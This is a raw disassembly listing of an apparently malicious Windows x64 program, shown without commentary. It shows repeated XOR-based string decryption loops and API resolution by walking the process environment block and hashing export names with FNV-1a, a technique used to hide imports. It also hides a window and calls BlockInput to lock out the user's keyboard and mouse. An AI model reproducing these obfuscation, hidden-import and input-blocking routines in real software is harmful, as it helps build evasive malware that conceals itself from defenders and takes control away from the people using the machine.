call rdx
xor eax, eax
mov byte [rsp + 0x51], al
lea rdx, [rbp + 0x2120]
lea rcx, [rsp + 0x51]
call fcn.140019310
mov r10, rax
mov qword [rsp + 0x30], rax
cmp byte [rax + 0x34], 0
je 0x140006df5
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006db3
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, r10
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140006cc0
cmp r8d, 0x35
jge 0x140006df5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140006dc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140006e8b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140006e8b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xc939435d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006e81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006e60
cmp r8d, 0x85713e62
je 0x140006e90
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140006e40
mov rax, qword [rax]
jmp 0x140006e10
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x30]
call rdx
xor eax, eax
mov byte [rsp + 0x52], al
lea rdx, [rbp + 0x1a10]
lea rcx, [rsp + 0x52]
call fcn.1400192a0
mov r10, rax
mov qword [rsp + 0x30], rax
cmp byte [rax + 0x2a], 0
je 0x140007035
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006ff3
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, r10
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140006f00
cmp r8d, 0x2b
jge 0x140007035
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140007000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400070cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400070cb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4ba1dec5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400070c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400070a0
cmp r8d, 0x9c2edaa
je 0x1400070d0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140007080
mov rax, qword [rax]
jmp 0x140007050
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x30]
call rdx
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor edx, edx
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov byte [rsp + 0x53], al
lea rdx, [rbp + 0x378]
lea rcx, [rsp + 0x53]
call fcn.140019350
mov r10, rax
mov qword [rsp + 0x30], rax
cmp byte [rax + 0x1c], 0
je 0x1400072a5
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007263
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, r10
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140007170
cmp r8d, 0x1d
jge 0x1400072a5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140007270
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000733b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000733b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xff21c5c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140007331
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140007310
cmp r8d, 0xa3959415
je 0x140007340
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x1400072f0
mov rax, qword [rax]
jmp 0x1400072c0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x30]
call rdx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, Ordinal_26
lea rcx, [rbp + 0x26f8]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x54], al
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x54]
call fcn.140019380
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400073b8
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x7d8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x26f8]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x26e0]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x55], al
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x55]
call fcn.1400193b0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007428
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x7f8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x26e0]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x2548]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x56], al
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x56]
call fcn.1400193e0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007498
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x818]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2548]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x26c8]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x57], al
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x57]
call fcn.140019410
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007508
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x838]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x26c8]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x26b0]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x58], al
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x58]
call fcn.140019440
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007578
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x858]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x26b0]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x2698]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x59], al
lea rdx, [rbp]
lea rcx, [rsp + 0x59]
call fcn.140019470
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400075e8
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x878]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2698]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x2680]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x5a], al
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x5a]
call fcn.1400194a0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007658
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x898]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2680]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x2668]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x5b], al
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x5b]
call fcn.1400194d0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400076c8
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x8b8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2668]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x25c0]
call fcn.140019ce0
xor eax, eax
mov byte [rsp + 0x5c], al
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x5c]
call fcn.140019500
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140007738
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x8d8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x25c0]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
mov edx, 0x108
lea rcx, [rbp + 0x27c0]
call fcn.140019db0
xor eax, eax
mov byte [rsp + 0x5d], al
lea rdx, [rbp + 0x1c50]
lea rcx, [rsp + 0x5d]
call fcn.140019530
mov r10, rax
cmp byte [rax + 0x2b], 0
je 0x1400078f5
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400078b3
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, r10
mov edx, dword [rbp + 0x100]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400077c0
cmp r8d, 0x2c
jge 0x1400078f5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400078c0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, r10
lea rcx, [rbp + 0x27c0]
call fcn.14001ab20
nop
mov edx, 0x108
lea rcx, [rbp + 0x28d0]
call fcn.140019db0
xor eax, eax
mov byte [rsp + 0x5e], al
lea rdx, [rbp + 0x1a40]
lea rcx, [rsp + 0x5e]
call fcn.140019560
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140007aa5
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007a65
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, r10
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007972
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140007a70
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, r10
lea rcx, [rbp + 0x28d0]
call fcn.14001ab20
nop
mov edx, 0x108
lea rcx, [rbp + 0x29e0]
call fcn.140019db0
xor eax, eax
mov byte [rsp + 0x5f], al
lea rdx, [rbp + 0x12c8]
lea rcx, [rsp + 0x5f]
call fcn.1400195a0
mov r10, rax
cmp byte [rax + 0x27], 0
je 0x140007c55
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007c0d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, r10
lea rcx, [rbp + 0x29e0]
call fcn.14001ab20
nop
mov edx, 0x108
lea rcx, [rbp + 0x2af0]
call fcn.140019db0
xor eax, eax
mov byte [rsp + 0x60], al
lea rdx, [rbp + 0x1138]
lea rcx, [rsp + 0x60]
call fcn.1400195d0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140007e05
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x4c], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x14000d315
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000d2cb
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x4c], xmm1
jmp 0x14000d315
lea r9, [rbp - 0x4c]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000d2e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000d3ab
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000d3ab
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x26263a10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d3a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000d380
cmp r8d, 0xf69a7c51
je 0x14000d3b0
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x14000d360
mov rax, qword [rax]
jmp 0x14000d330
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x4c]
call rdx
movups xmm0, xmmword [0x140092f98]
movups xmmword [rbp + 0x2318], xmm0
movups xmm1, xmmword [0x140092fa8]
movups xmmword [rbp + 0x2328], xmm1
movups xmm0, xmmword [0x140092fb8]
movups xmmword [rbp + 0x2338], xmm0
mov eax, dword [0x140092fc8]
mov dword [rbp + 0x2348], eax
movzx eax, word [0x140092fcc]
mov word [rbp + 0x234c], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000d533
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x231c]
mov edx, dword [rbp + 0x100]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14000d440
cmp r8d, 0x36
jge 0x14000d575
movsxd rax, r8d
lea r9, [rbp + 0x2318]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x14000d540
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000d60b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000d60b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x453d7efa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d601
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
